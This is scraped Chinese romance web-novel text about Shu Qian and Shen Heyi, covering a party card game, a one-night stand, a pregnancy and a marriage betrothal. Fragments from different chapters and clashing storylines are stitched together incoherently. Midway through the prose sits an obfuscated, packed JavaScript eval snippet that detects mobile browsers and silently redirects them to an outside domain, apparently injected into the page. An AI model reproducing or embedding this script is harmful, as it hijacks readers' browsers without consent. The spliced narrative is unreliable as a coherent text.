而沈和易在笑着盯舒浅,没被晴瑶的话打乱思绪。
他眉头皱了下,“舒浅,我们是不是之前确实见过?”
……
死寂一般,全场沉默了。
晴瑶想去拉赵持离开的手僵硬在半空中,回头看舒浅。
此时此刻,她眉头写满了不解和茫然。
见过?
之前见过……?
品味这些词,她越发感到疑惑。
沈和易居然没认出来,那天和他上床的是舒浅吗!
之前的理论被推翻,但赵持已经回拉了晴瑶一下,满不在乎说:“见过就见过呗,没见过又怎样?不都可以成为朋友吗?好啦好啦,我过生日,都来陪我玩,组一桌就是?”
就这样,莫名其妙的,四个人组成一桌。
舒浅看见摞起来的纸牌,心口打颤了下。
根本不会玩,她想着礼貌拒绝下,“我不会喝酒,要不我就不玩了吧。”
“好吧。”
在赵持已经同意的情况下,沈和易据理不饶人,“也行,那就换个惩罚方式。”
舒浅瞬间捏了下衣角。
他慢条斯理的说,“换成真心话,大冒险,怎么样?”
“好呀!”赵持瞬间坐倒,来了兴趣,“我也不想喝酒,喝酒多没意思!”
他连忙招呼大家过来。
只有舒浅还没动。
沈和易冷静的目光舒尔对上她,好像在说:还有什么理由?
—
牌是在五分钟后发在众人手里,舒浅明白uno的纸牌规则,还是在三分钟前。
听得一知半解上战场,犹如半生不熟入考场,手忙脚乱。
她眼观六路耳听八方的学着上一个人,丢了张和他同色系的纸牌,喘了口气,这轮过了。
而沈和易还在抽牌,因为他的上家赵持在疯狂砸功能牌,让他手中的牌明显多于周遭的人。
赵持疯狂的笑,“好想知道和易哥哥的秘密哦,你们有想知道的吗?我们一起盘他!”
因为在场有晴瑶,他肯定不能针对她。舒浅,一女生,在他潜在名单里,也不行。另外二个人隔的太远,因此,他只能将目标对准沈和易,挑拨下纸桌的情绪。
“行呀。”有个来凑数的人甩了一张变色卡,公然要成为赵持那一阵营。
舒浅可不敢这样。
就算她手里有不少功能牌,也不敢出,于是规规矩矩打了张数字牌,想着安安稳稳过日子。
几轮过后,赵持手里的牌越来越少,沈和易手中的牌越来越多。
他突然间甩出一张反转牌,让全场局势扭转。
赵持看见那张牌,瞬间脸黑的像碳。
因为这一张反转牌,他的下家变成了晴瑶。他肯定不能欺负晴瑶呀!所以他愣是憋着没出一张损牌,以至于被沈和易“反杀”。
他输了。
沈和易没觉得赢的很艰难。
赵持无奈,摊手,“问吧,问吧,我能有什么秘密呢?”
摇骰子是六个点的舒浅被迫要问问题。
全场目光对焦在她身上,她甚至不敢多呼吸一下。
“要不换个人问吧。”不想得罪人的舒浅说此话,因为她跟赵持都不熟,能问什么啊?
晴瑶才不想接这个火盆子,撂了一嘴,“抽到了就问呗,怎么还磨磨唧唧呢?”
“好吧。”
舒浅咬嘴唇,问出来的问题神奇的不亚于刚说的那句话,“生日聚会什么时候结束……”
“哈?”
赵持摸了摸耳朵,以为是自己听错。
怎么会有人问出来这种问题?摆明对“寿星”不礼貌啊!
不过没见过这类女人,他真觉得还挺有意思的,开始笑,“妹儿,那不得玩到凌晨俩三点?这夜生活才刚刚开始,好戏在后头呢!”
他吊儿郎当的话语一下子逗笑了旁边看戏的人,舒尔,笑声轰动着。
舒浅没受此影响,偷偷打开手机,看了眼时间,撇了撇嘴巴,怎么这么久呀?
看着舒浅的脸蛋被光打亮,沈和易表情冷淡,嗓音低沉着,“继续。”
第二场她明显游刃有余很多,之前没听懂的地方也因为上场而豁然开朗。
大致扫视下四周,了解了状况。
在她左手边是晴瑶,因为心有余悸,她不敢针对她,所以宁可自己吃苦,也要护她平安。
几轮过后,功能牌在手里握着,一个没敢出。
还好不知道是谁丢了张逆转。
她连忙将所有的功能牌打出,被旁边那怨种全部接住,他抱怨的声音肆起:“老妹儿,你不能因为我是个男的就这么揍我吧。敢情刚才你是扮猪吃虎,吃我这头虎呢?”
“好了吧,你还虎呢。”
赵持帮舒浅说话,晴瑶抬了下眼。
舒浅在心里说了声对不起。
她只是不想输,自己的每一个秘密她都想藏在心里,不能说。
不负众望,顾恒输了此局。
问了个超炸裂的问题,听得舒浅脸红心跳,莫名加深了心中的想法,这可不能输啊!
就算不说秘密,她也不想回答那些奇奇怪怪的问题。
事情总不如她所愿,因为上把梁子截上了,顾恒的打法总是有意的针对她。舒浅招架不住,输了这场游戏。
偏偏问问题的也是顾恒,但幸好,也是顾恒问问题。
她放下戒备心,“要问什么?”
“上次性/爱是什么时候?”
绝杀!
让她放松下来的心瞬间拢了起来。
她怎么忘了,像顾恒这种纨瓠子弟,做事情没皮没脸,怎么会问出一些正常的问题呢?
她抿了抿嘴巴,犹豫被顾恒认为成不想答,他拱火道:“怎么还玩不起呢?”
确实是玩不起。
她怎么敢说呢?
具体时间,一个多月前。具体地点,迎接他的聚会。具体人物,沈和易。
她该怎么说出口?
抉择下,舒浅决定撒谎。装一装,总是好点。毕竟只有晴瑶知道秘密,她刚才也帮助了她……
舒浅垂眼:“没有……”
“什么?”顾恒不可思议。
“没有……”舒浅重复解释了下,“我没男朋友过……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14649570|155598||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
顾恒懂了,意味不明的笑,“哦~还是个小雏鸡呀。”
“下一局吧。”她红着脸想转移话题。
旁边的沈和易看着她这副做贼心虚而尴尬抿嘴笑的模样,也在跟着笑。
舒浅,特别好。
因为舒浅的回答,顾恒重新审视她,起了兴趣,重新制定规则,“要不问问题就别筛骰子比谁大吧,直接一人问一个,这样多有意思呀!”
每个人都可以问到。
舒浅可不想这样,但在场所有人都没有提意见,如果她此刻发声,倒显得是她不讲道理了。
她深知自己没什么发言权,所以乖乖闭嘴了。
幸好自己也没输。
轮到顾恒旁边的人,叫几声蛙叫,学几声狗叫,睡过几个人,这场就过去了。
舒浅看了眼时间,已经将近一点,忐忑的说,“好晚了,我有点困了,能不能不玩了。”
她余光求助似的看了眼沈和易,毕竟没他,她怎么回去啊?
这栋别墅位置偏僻,打车都打不到。
舒浅早知道如此,说什么也不来。
但沈和易没看她,丝毫没感受到她的急迫,她有些委屈。
“舒浅,再玩一局吧。”
只是说话时,态度很温和。
舒浅嗯了下,放松了点,“那就……最后一把哦。”
她总是表现得很好说话。
这场下,前几场隐身起来的沈和易莫名变得非常有存在感,表现的攻击力十分强。
还好她不在他的旁边。
舒浅感到庆幸。
可下一秒,她突然反应过来。看似针对旁边的人,实则在借此来攻击她。
要不怎么说他智商高?
等到舒浅反应过来的时候,她已经输了。
他干嘛针对她啊?
这可是全部人的问题啊!
自己不就是想先回去吗?
舒浅撇撇嘴巴,手指拧了拧,认命似的,“问吧。”
沈和易第一个问问题:“舒浅,有什么想对我说的吗?”
问他?
舒浅大脑空白,“没有吧……”
难道问他为什么要针对他?还是算了吧……
他眼睛在盯着她看,许是觉得她的话有点敷衍。
舒浅连忙加关键词,“有……你长的很帅,也很有钱,智商也高,我有个室友很喜欢你。”
“这什么问题和什么回答啊?”
赵持觉得太无聊,站起来,“舒浅,你不是说你没有谈过恋爱吗?那现在就让你必须在桌子上选一位成为你的对象,你会选谁?”
看着舒浅想指晴瑶,他拱火道,“只能是异性哦~”
舒浅环顾四周,选不出人。
顾恒笑着说:“这不劲爆,应该再加一点,把问题从对象改成上床对象。舒浅,在我们几个男人中,你最想跟谁上床啊?”
他坏笑,引荐自己,“我持久又活好,要不看看我?”
满嘴跑火车,但舒浅听不得这些,连忙低下头。
“能不能不回答这个问题啊?”
“这有什么,不就挑个人回答吗?”
“哈哈哈,是啊,你选了,又不会真跟他上床,就开个玩笑的。”
“不说我可说了,我最想和她上床。”
“你拉倒吧。”
周遭都是谈笑的声音,她根本融入不进去。她痛恨自己为什么这么不解风情,明明随便说个人,都能带动全场氛围。再睡一觉,什么都会忘记。
谁又记得今天发生的事呢?
但她说不出口,根本说不出口。
早知道就不来了……
她还在悔恨中。
“啪”的一下,是桌子拍动的声音。
沈和易站起身来,眼里没什么情绪,但在场的所有人停住了笑声。
他抬起脑袋看天,怎么这么晚了?星星都没了。
不想说就不想说,怎么手指开始跟着发抖?
沈和易不解,看着跳动的青筋,突然感到一股暖流涌上心尖,好奇妙的感受。
舒浅还在劫难中,他得赶紧救她啊。
极度亢奋下,他收回手指,背过身去,感到心情愉悦到极点:“舒浅,跟我回家。”
15-20
第 15 章 第 15 章
舒浅当然得跟他回家。
不然她去哪里?她又没有家。
说到底,舒浅还得感谢他。毕竟他做到了车接车送,衣食无忧。
那为什么舒浅还不愿意说真话?
是他很可怕吗?
车子停下,车窗打了上去,映射着沈和易清冷俊美的容颜,垂下来的眼睛显的他睫毛格外纤长。象征性握了下方向盘,脑袋在沉思中。
不应该啊……
他已经尽可能的做到了柔和对待舒浅,就算知道了她骗了他,也没有对她生气。所以问题出在哪里呢?
人总是对待某些事情一知半解,既然如此,那就直接问问当事人吧。
他踩着油门,车子一跃而过路灯。
舒浅的心情随着油门越压越大而跟着起伏不定,她连忙握住车窗上的扶手,惊恐提醒道,“沈和易,你是不是看错颜色了,那是红灯,红灯呀……”
在她的提醒下,结局无济于事,反而加剧了速度的飙升,直逼八百码。
猛烈的风直接往她嗓子眼钻,直捣她心腹深处,她只能抿进牙冠。
“舒浅,我知道啊。”
他又不眼瞎,也不是色盲,基本颜色还是能认出来的。他只是想飙飙车,享受下肾上腺素飙升的感受。
不过这速度还是太慢。
普通车的基本性能还是不如跑车,对此,他感到惋惜。锤了下方向盘,发出鸣笛声。
“舒浅,我带你去看赛车比赛吧。”
她肯定没看过,会感到新奇,届时再压个几百万去买卖输赢,她又会露出不可思议的模样。
不过下一秒,就被他自己给打破。
因为舒浅说了句,“什么?”
言语中的惊恐就要划破天际,他连忙停下速度,忘了舒浅还在车上。
低哑的声线搭载着亲昵的称呼,明明话音都已经落下,可她还觉得余音宛若盘旋空中的纸飞机一般,久久不能停息。
舒浅被沈和易拥在怀里,她双手没有落处的抵在他温热的胸膛,却没做出什么推阻的动作。
只是略略低着头不出声。
还沉浸在他刚俯身说话时那张脸凑近她的场景中。
恍神间,她好像还能捕捉到心跳微微加速的震颤。
沈和易看着怀里的人,见她不给什么回应,放在她腰上的手不安分的用了些力,将她又往怀里揽了下。
他询问道:“上去睡觉吗?刚才不是说好困了?”
舒浅缓缓抬眸,对上那双炽热又深邃的眼睛,鬼使神差的脱口而出:“怎么睡?”
沈和易轻笑,唇角微扬,意味不明的重复着她的话,“怎么睡?”
他若有所思,“搂着?抱着?”
“还是太太有什么别的睡法?”
他尾音拉长,“我倒是都很愿意配合。”
舒浅望着他,视线下移落在那双薄唇上。
回过神来她又眨了眨眼,不自然的别开了视线。
“我和他没有那么亲近。”
沈和易看向怀里的人,嗓音略有低沉的说道。
“从小就没在一起生活过。”
舒浅神色微怔。
她以为的这一段小插曲已经结束,更没想到沈和易会和自己说这些。
有关沈家的事情,舒浅并不是一无所知。
只是这些年,不论是港城人还是身边亲近的熟人,都没人将那些作为茶余饭后的谈资。
如若不是今天碰到沈嘉茂,她真的不会想起来。
内心的慌乱和无措让她并未逐字阅读,可只是乍眼看去就已经了然内容。
落于她眼前的这幅订婚书上的瘦金体不失挺拔和力度。
低低暗语随着男人停住的脚步,隐匿在交汇的视线中。
沈和易扫了眼舒浅身旁的男人,嘴角噙着笑意接上自己刚才的话,“我找舒小姐有些要紧的公事要谈。”
要紧、公事。
这两个词从任何一个人嘴里说不出来恐怕都要比从他这的信服度要高。
可尽管知道这是他胡乱编排的理由,晁嘉言也不敢多说什么。
他也只是笑了下,识趣的就着台阶下来,“既然这样,那你们先聊。”
又望向舒浅,嗓音轻缓的补了句:“原本就是我唐突了,舒小姐别放在心上,下次有机会我们再聊。”
舒浅笑了下以示回应。京大实验楼四楼,买了夜宵回来的段泽明看到实验室里不应该出现的身影愣了瞬,随后敲响厚重的玻璃门。
里面的人看来,护目镜下线条流畅的脸暴露在白昼灯下。
那双眼睛被灯光勾勒,敛于纤长睫毛投落的阴影里,清明透彻。看过来时,带着疏离又毫无情绪的波动。沈和易将记录本放回原位,骨节分明的手指取下眼前的护目镜,视线最后检查所有设备无恙后,信步走向休息间。
“你不是参加你哥的婚礼么?我还以为你不会回来呢。”段泽明解开拉面袋子,“诶,你猜今天谁又来找你了?”
对面自然没有回答,段泽明也不恼,自顾自道:“陈老师!她今天又来实验楼找你了。”
沈和易一顿,在他对面那张摆放整洁的桌子前看来,“她进了?”
“没啊。”
沈和易无情收回视线继续自己的动作,仿佛段泽明刚刚说了句不关痛痒且浪费他时间的话。
段泽明见状坐不住了,不死心凑过去,“你真不和道她什么意思吧?你就这么忍心看着那么琼花玉貌的姑娘——”
被无声的警告,段泽明死心,“好好好,我吃饭吃饭。”回去的路上嘴里还嘟囔着什么,四下安静,被沈和易听了个正着。
“除了实验就是上课,这世界上没其他能干扰你的了,真清心寡欲第一人。”
翻看试验资料的沈和易动作一顿,指尖无意压在写满笔记却平整某一页,想起舒浅。
那晚她喝醉了又哭又闹,手上还不老实,一会儿喊疼一会儿又说快点,搞得沈和易束手无措。
那是他见过的,比段泽明话还多的人。
记忆中,她大学似乎不是这样的。
沈和易原本以为第二天她会解释他们的关系,非但没有,人还消失了。
想起晚宴上一闪而过的身影,他立马顺着方向找过去,却什么也没找到。又顺着所有路线找了遍,结果都是一样。等回到宴会厅,熟悉的音乐和欢笑声依旧,没人注意他的离开,仿佛他未曾离开。
就像那晚,除了他们两个,不会再有旁人和晓。
他竟是,又被抛下的那个。
“诶,今天的数据你看了吗?”注意他的走神,段泽明稀奇,“你心不在焉的时候,想谁呢?”
收回思绪,沈和易面不改色撒了谎,“一会儿再试一下电场强度。”
“没劲,你这个工作狂。”
“嗯。”
晁嘉言离开口,舒浅才将视线落在眼前的人身上。
“好久不见。”沈和易扬了扬眉说道。
算下来倒确实是很久没见了。
舒浅没想到会在这碰到他,更没想到他会过来和她打招呼,帮她解围。
一时间称呼在脑中晃过好几个,最后她选了个最为得体的,嘴角扯了个笑地问道:“不知道沈先生口中提及的要紧的公事是什么?”
沈和易轻笑了声,话音带着浅浅懒散,“想和舒小姐喝杯酒。”
话音刚落,耳边就响起杯壁相碰,细小到只有两个人听得见的清脆声。
舒浅迎上他的目光,眼中的疑惑表达的恰到好处。
沈和易挑眉,像是看出她的困惑——
这算得上是什么要紧的公事。
他解释道:“不那样说,怕舒小姐今晚都腾不出时间。”
舒浅没做声,只是看着他,似是想从他眼中探求到真正的原因。
沈和易不再隐藏,“确实是有事情要找舒小姐。”
沈和易眼睛扫了下周围,询问她:“换个地方聊?”
许久未见,突然出现说找她有事。
她确实挺想知道到底是什么的,也就应了下来。
迎面而来的庄重感在此刻倒是远远盖过了她心中的震惊。
在这之前,她从未听说过这件事,自然也就不知道这份东西的存在。
“早年时候祖父与舒小姐的外祖父交好,在舒小姐百日宴的时候两人定下这份婚书,这几年祖父身体一直不好,上个月病情加重,全家上下都在老宅陪护,这份婚书也是那时才交到我手上的。”
沈和易见身前的女生抬起头,才缓缓地道明这一切的缘由。
“他老人家说只有他们两个人知道婚书的存在。”
说到这的时候沈和易放慢语速,挑眉看向她,意有所指,“不过现在还多了你和我。”
生意场上讲求强强联合,对于舒家和沈家这样的百年世家更是如此,虽然根基深厚,但是难保未来不会出现差错,总要精心的铺好后路,以保全家族能够长久昌盛。
联姻便是其中最常见、最有效的方式,不论未来谁处于优势,都会顾忌着那一纸牵扯。
明面上看着是互利互惠,背地里其实是一种制约,都暗自给自己谋划好了万全的路。
这些道理,不用人明说舒浅也都知道。
他说的这些不过是为她简明了婚书的原因,但她不解的还有他为什么要单独的来找她,告知她这些。
他大可以直接将东西交由家中,好让长辈们出面商谈。
舒浅视线从卷轴上离开,她回过神来,不自觉的坐得更直了些。
从小的成长环境与教育中,她早已耳濡目染的有了远超同龄人的镇静,所以即使现在心中震惊、困惑、混沌等等情绪交织,也可以在脸上做到不为所动。
舒浅问他:“沈先生给我看的目的是什么呢?”
她猜不到。
沈和易俯身向前,凑近了她几分,捕捉到她眼中片刻的躲闪,伸出手来落在婚书上写着两人名字之处。
舒浅眼睛顺着看过去,这才注意到最左边与自己名字并齐的名字上已经按过手印。
沈和易抬手,指尖点在上面敲了两下,嗓音里混着笑意,带着几分蛊惑,“我的意思是,婚成与否,全在舒小姐。”
考虑到是在外面,又本来就是带她出来放松心情的,沈和易便点到为止没再往下多说,跟她讲如果她愿意听的话可以找时间慢慢跟她说。
舒浅也便没再多问。
两人还保持着刚才的亲昵姿势,舒浅能清楚的感觉到沈和易的情绪有变动,是没有意识的就拍了拍他,像是安抚。
很轻柔的动作,宛如岸边的垂柳在微风过境时扫过湖面一样轻,却足以掀动波澜。
没有闹钟,无人敲门叫醒,舒浅睡到快要中午才从梦乡里出来。
睁开眼她有些茫然的看着天花板,缓了半瞬才反应过来自己在哪。
身边的被子铺顺的整齐,抬手摸去已经感觉不到温度,看样子人已经离开很久了。
舒浅洗漱完坐到楼下餐桌。
她打量了一圈都没看到沈和易的身影。
又想到说的不打扰彼此,好像确实是不必对她报备行踪。
也就没问阿姨他去了哪。
倒是吃饭的时候放在桌上的手机亮了起来。
午夜,小区高层传来一声尖叫。
“你怀孕了?!”闺蜜周姌不可置信,“舒浅,马上就立冬了,可不是愚人节!”
接好水的舒浅把水壶放在坐台,走过来揉了揉朝她摇尾巴的金边边牧,拿过手机关了免提。
她苦笑:“我和道,我没开玩笑。”
视线落在垃圾桶上,那里面还有她刚刚扔掉的三十根不同牌子却显示一致结果的验孕棒
“什么时候的事?谁的?”周姌花几秒钟消化了这个差点闪着她舌头的消息,重点还是忍不住一偏,“我刚给你包里塞了套你就用上了??”
舒浅扶额,“你还敢提你在哪买的那个破东西质量那么不好?”
事情还要从两浅前说起——
她在同学聚会上摸包里的纸巾,却瞥到某处夹层诡异的凸起,看清里面的东西瞬间拉上,这才懂了临出门前,周姌那欲易又止的坏笑。
趁无人时发去控诉,却得到某人理直气壮的回复:你的每个包我都放了,你怎么才发现?
那晚的同学聚会是专门为舒浅的本科教授准备的践行宴,来的都是上学时极其要好的,其中就有舒浅暗恋的学长。用周姌的话来说,直接趁着酒劲一举拿下。
奈何主角没来,她换了个主角把工具用了。
舒浅只记得从卫生间回来后瞧不清房间号,推开了相似的那张门,瞧见了那张板正严肃的脸。对方出于好心打车送她,她却在酒店房间门口扯住人的裤腰
此刻得和真相的周姌震惊程度不比看到避孕套时舒浅的脸色好多少,“你说你和沈和易睡了?!孩子是沈和易的?”
反应过来,周姌找到漏洞:“不是,我那个套肯定质量没问题呀,是我一直用的牌子啊。你们那天总共用了几个啊?要是一个肯定不可能,除非次数太多没套好——”
“好好好,事情已经发生了,就不要纠结这些细节了。”舒浅拖着被周姌惊掉的下巴,打断她,“在后天手术前,你是第一个和道的,也是最后一个。”
那边要说的话噎了瞬,周姌再惊:“你要流掉?”
“为什么不?”
或许觉得这话太冷血,舒浅解释,“我们一夜冲动而已,大家都是成年人,都要为自己的行为负责。”
沈和易(小有姿色):【盛姨手艺不错,想吃什么都可以和她说。】
舒浅:【嗯。】
沈和易笑了下,“我在你心里这么脆弱?”
舒浅没接他的话,沉浸在自己的思绪中,仰起头,“所以你才会读到高中才回港城?”
因为和哥哥关系不好所以即使从小不在父母身边长大也可以。
倒像是他的性格会做出来的事情。
以前沈和易一个人住的时候,盛姨就是负责他在家的时候给他做饭,隔一天过来打扫下卫生。
结婚后他问过舒浅意见,说要不要再找些人进来,她觉得没必要,就还遵循之前的。
刚睡醒吃不进去什么,舒浅只吃了小半个三明治,坐在桌前慢吞吞的喝着牛奶。
傍晚时分,沈和易遵照约定来接她去吃晚饭,很明显这一次从家里走出来时,她的神情与以往不同。
舒浅换了套miu家的连衣裙,与白日里文静淑雅的长裙比起来,这身更俏皮。
好心情也全都挂在脸上。
等人走近了,沈和易问:“舒小姐这样开心,我能理解为是因为结束地下恋了?”
清早,舒浅本来睡得就不沉,困意正浓时叮叮当当的声音透过门板传进来,在她耳边乱作一团。
她皱着眉猛地抬手将被子拉到头顶,将自己蒙了起来,试图隔绝声音再睡一会儿。
昨晚回到家和沈和易两个人又聊了微信,都到后半夜了才睡下,她特地定了七点的闹钟,想着起来早早准备一下。
现在闹钟都还没派上用场,就被吵醒了。
平日家里很安静,也没有人会到她住的这层来。但现在声音渐渐朝她逼近,甚至有愈来愈烈的架势。
想睡也睡不好。
舒浅索性从床上起来,因为睡眠不足,眼皮现在又酸又沉,她揉了揉眼睛走到门边,想看看到底是怎么一回事。
见女生走出来,门外有人主动出声问好:“浅浅早上好。”
舒浅扯了扯嘴角,眉头舒展开,“钟姨早。”
她一边应着声一边走到楼梯口向下望去,情况都与她这相同,甚至一楼还有搬弄桌子的。
“一大早的在忙什么?”舒浅心中隐约有猜测,开口询问道。
她后边还在说,但舒浅没再去听。
最后耳边话音落下的时候,她抿了抿唇,佯装思考,一副听话的样子,“给我点时间再想想,先上去了。”
回房间以后她窝在床上琢磨着这事。
身边朋友有婚约在身,亦或者娃娃亲的也有不少,她一直以为自己暂时算是自由的,毕竟在国外那几年,闻芷兰从来不过问她的感情情况。
没想到刚一回来,就变了样。
其实她是不抗拒联姻的。
毕竟闻芷兰和舒钧就是联姻的,夫妻相伴几十载依旧恩爱如初。
只是自己走上这条路,和现如今被催促着强硬要求,到底还是不一样的。
晃神间,她突然发觉自己好像在他们的规划中妥协了很多,甚至一直以来连叛逆都拿捏着分寸…
想到这,她思索良久,最后像是终于做了什么决定的拿起手机。
对着那个还从未打开过的聊天框,发了条消息出去:【我们见个面吧。】
“太太说上午家里要来客人,叫我带着人快些打扫下。”钟姨说道。
舒浅退回几步,“妈咪没说别的?”想到什么,周姌露出怀疑的神情,“是沈和易不想要?”
“”
舒浅绞着手指,包扎的大拇指因为动作隐隐作痛,刺激着她的神经。那边的周姌已经从沉默中找到了答案。
“你没告诉他?”像是明白过来,“人命关天呢,好歹也是你孩子的爸爸呀。”
爸爸。
舒浅默念,眼睑低垂。
二十二年前,父亲的决然离开导致原本幸福的家庭破裂,母亲去世,六岁的舒浅便被小姨接回了家。
哪怕小姨小姨夫多么关心爱护她,她都清楚,自己是个只会给人添麻烦的拖油瓶。她不能任性,也不能添乱,不然表弟的奶奶会趁着没人的时候说教她,赶她出门。
舒浅很害怕,所以学着长大。从小到大的学习都不用长辈担心。研究生毕业,她留在本市工作,戴闻春开始操心她的婚姻。
起初舒浅能以在律所站稳脚跟为由推拒,时间长了便没了效果,她只能妥协。奈何她看着对面形形色色的男人,只觉得像是在看需要她负责的离婚当事人,毫无想法。
那晚和沈和易,是舒浅这二十八年来,最身心放纵的一晚。
她不后悔,却也没有进一步发展的想法。
因为她不相信只能维持十八个浅的爱情会持续一生,更何况他们之间没有爱情。
原本两个陌生人潇洒一夜,天和地和当事人和也就算了,如果因为孩子扯上关系,对双方家庭也要付出精力和时间。她现在忙着合伙人竞争,流产已经是她能为这个孩子付出的最后时间。
水壶此时沸腾起来,尖锐的气鸣冲击着一方天地,舒浅思绪被打断,也同时作出决定。
她声音平稳,在房间里响起,甚至没有惊动在埋头吃饭的拿铁。
“这个孩子我没打算留下,告不告诉他也没所谓,省去麻烦对我们都好。”
“还说叫你醒了以后下楼去吃早餐。”钟姨瞧了下周围人离着远,凑到舒浅面前小声提醒,“太太看着心情不是很好的样子,你下去时候自己注意些。”
舒浅眼珠不自然的转动了下,明亮的双眸中划过一丝错乱,“我知道了,谢谢钟姨。”
“我还不怎么饿,妈咪要是问起来就说我起晚了还没洗漱好。”
一早上这样大动干戈,又连外人都能看出不高兴,想必肯定是爹地已经跟妈咪说了今天家里要过来人做什么。
她现在下去不就是自找苦吃往枪口上撞。
舒浅不由得打了个寒颤,摇了摇头缩回了房间里。
床头柜上的手机嗡嗡地震动着,她按掉闹钟点开了最上面的聊天框。
听出他是在打趣自己,舒浅回怼道:“我怎么不知道我们有恋过?”
沈和易挑眉,“是我用词不准,不是我们。”
“是我,我单恋。”
“那问问舒小姐,什么时候能抽出时间跟我这个单恋者结个婚?”
本来是要这周回公司去正常上班的,但考虑到小夫妻需要磨合一下,闻芷兰就给她又休了一周。
下午的时候舒浅打发走了盛姨。
她估摸着沈和易应该不会回来吃饭,她自己的话不怎么饿,到时候随便搞点吃的就好。
亮如白昼的浅光洒满京大校园每个角落,树影安静地于地面踮起脚尖,在无人打扰中起舞旋转。
镜头偏移,一声急刹划破寂静的夜,随后是几声厚重的碰击,完美的三分篮呈现,几人欢呼。
“还来不来来不来?”段泽明嘚瑟地朝对手嚣张道,“打过我算什么本事,有本事叩我们沈教授的球呀!你们这些手下败将!”
“是人家赢了又不是你赢了,你看他那个狐假虎威的样儿,真服了。”对方翻白眼,“欸,你家沈教授都走了。”
“啊?”正是因为戴闻春的开朗态度,导致舒浅自己都忘了。
小时候她因为父母被同学孤立,人前安慰她的小姨事后躲在房间偷偷哭,现在又怎么会不在意这些声音。
叹息出声,舒浅垂眸。“负责?”舒浅像是听到笑话,美丽的面容全是讥讽,“你打算怎么负责?”
“领证,结婚。”
结婚?
这个结果完全超出了舒浅的意料,或者说,是她的假设里、最不相信会实现的那个选项。
一时没反应过来,望着高大的身影,她许久才听到自己的声音。
“你认真的?”
“是的。”
“”
沈和易面色没有分毫戏弄之意,只是对她的反应有些疑惑。
“你不想要吗?”
“我——”“请A53号徐娇到二号会诊室会诊。”
机械女音在人满为患的候诊厅响起,座椅之上,舒浅看着手机里的消息,迟疑。
[周姌:这个是沈和易的电话,昨晚我打听了好多人要到的!]
[周姌:昨晚都被你的话绕迷糊了,什么叫你不打算要他就不用和道了?这不对!他身为一个男人做出这种事必须负责!哪怕你们商量了确定不要,他也得陪着你流产啊,哪有只管射不管流的,什么好事都让男的占了,凭什么?!]
[周姌:初初,你在哪儿呢?我去找你!]
舒浅拒绝了,她预约了十一点半的人流,现在还有半个小时。周姌还在发,舒浅的视线已经不聚焦,心情也比想象中沉重的多。
她望向窗外渗进来的阳光,只觉得浑身发凉。
属于冬的寒意继续蔓延,与此同时,疏散的阳光透过树叶的缝隙打落在教学楼的窗户,反射出点点金光。
日正中天,沈和易解答完学生的问题走出教学楼往实验楼走。
路上,他和相识的老师点头示意,从学生驻足的目光中步伐沉稳,直到口袋的手机响起,他放慢步子。
屏幕上正是他母亲发来的消息,嘱咐他不要忘了把熏好的腊肠带给姑妈。
调转方向,沈和易给段泽明发去文字。
[不急,今天不是徐教授值班,中午再说。]
启动车子,那辆黑色大G朝着市中心的医院驶去。
舒浅要是现在否认,无一是前后矛盾,可她又不想吃了这个哑巴亏,很快镇定心神,找到最开始的问题。
“说出结婚这两个字的时候,你是经过深思熟虑的吗?我们两个陌生人,就因为”
两人对视,都在明白了沉默中的空白是什么,面上闪过不自然的神情。
混合着消毒水的气味里有丝丝熟悉的气息掺杂,舒浅绞着的胃里没那么难受,可她却因为眼前的事,心烦到没有丝毫恶趣味后的得逞。
反倒是像——
自己挖了坑,又把自己埋了。
走廊窗台透射进来的光太过刺眼,她睫毛轻颤最先反应过来,压下极速跳动的心脏别开眼,换了个词。
“因为一场意外,我们就要把以后都搭进去,两个家庭、两个人从此捆绑,在没有爱情的婚姻里,我们两厌一辈子,你告诉我,你提结婚是认真的?”
感觉走廊上都是自己的声音,她垂落在身侧的食指不停扣着指侧的肉。
没有去看沈和易什么表情,舒浅听到自己非常不友善的尾音,霸道的,甚至盖过窗边刺眼的阳光。
“沈和易,这真是你想负责的承诺,还是只为了恶心我的驱赶?如果是后者,你大可不必拐弯抹角,我同意打掉他,但你要支付打胎的钱。”
到底是她任性,让小姨平白操心这么久。
既如此她抚上自己的小腹。
有个孩子,再来个丈夫,然后顺理成章的结婚,岂不是解决了她一直以来忧心的事?
这么想着,舒浅迅速回到病房,在垃圾桶里找到了被自己揉搓成团的白纸。
展开,清雅端正的数字随着不平的纹路映入眼帘。
蹑手蹑脚走到安全通道,无数次呼吸后的心里建设中,舒浅终于拨通了已经记下的号码。
一声。
两声。
接通。
“你好,哪位?”
清冷的,拒人千里的声线在耳边响彻。
指尖轻颤,舒浅拿近了手机,“舒浅。”
“嗯。”
好冷。
再次调整呼吸,她的手心已经出了汗。
“抱歉在考虑期间打扰你,但我想说”
伸了伸有些僵硬的指尖,她望向远处的灯火,“三年,我们协议结婚三年,然后各自离去。”
“你觉得怎么样?”
段泽明也顾不上争口舌,忙不迭朝着已经走到场外的沈和易跑去,追上他。
“心情不好?”
喝水的动作一顿,他看来。
段泽明解释:“打挺猛的你今天,后面我都差点跟不上了。出什么事了?我看你上个周就有些不对劲的,不对,是上上周,诶?好像是上上上周?”
把电解质扔给段泽明,沈和易拿过毛巾擦着脖颈的汗。
“没事。”
“你肯定有事!”跟狗似得闻着味就寻过来,段泽明眯着眼瞧他,“你中午干嘛去了?接近零度的天,你穿件衬衣马甲就来了,你外套呢?”
打开手机的沈和易点开通话记录,那里并没有未接来电,未展开的眉心又蹙了蹙。
今天在医院,他处理好住院事宜后和舒浅没碰着面,又赶上她家里人来,和道现在自己不方便露面便在护士站要了张纸,写下注意事宜和自己的电话请护士帮忙转交。
现在想想,注意事宜她守着医生自然是不需要他多此一举,只是当时的他,已然忘记了这么显而易见的问题。
“呐呐呐,还一直看手机,你和道你今天拿手机的次数比你这一年的次数还多。”
似乎也意识到了,沈和易看过来,“哪有这么夸张。”
段泽明还要说什么,某人掌心的手机终于有了反应,几乎是同时,沈和易站起身。
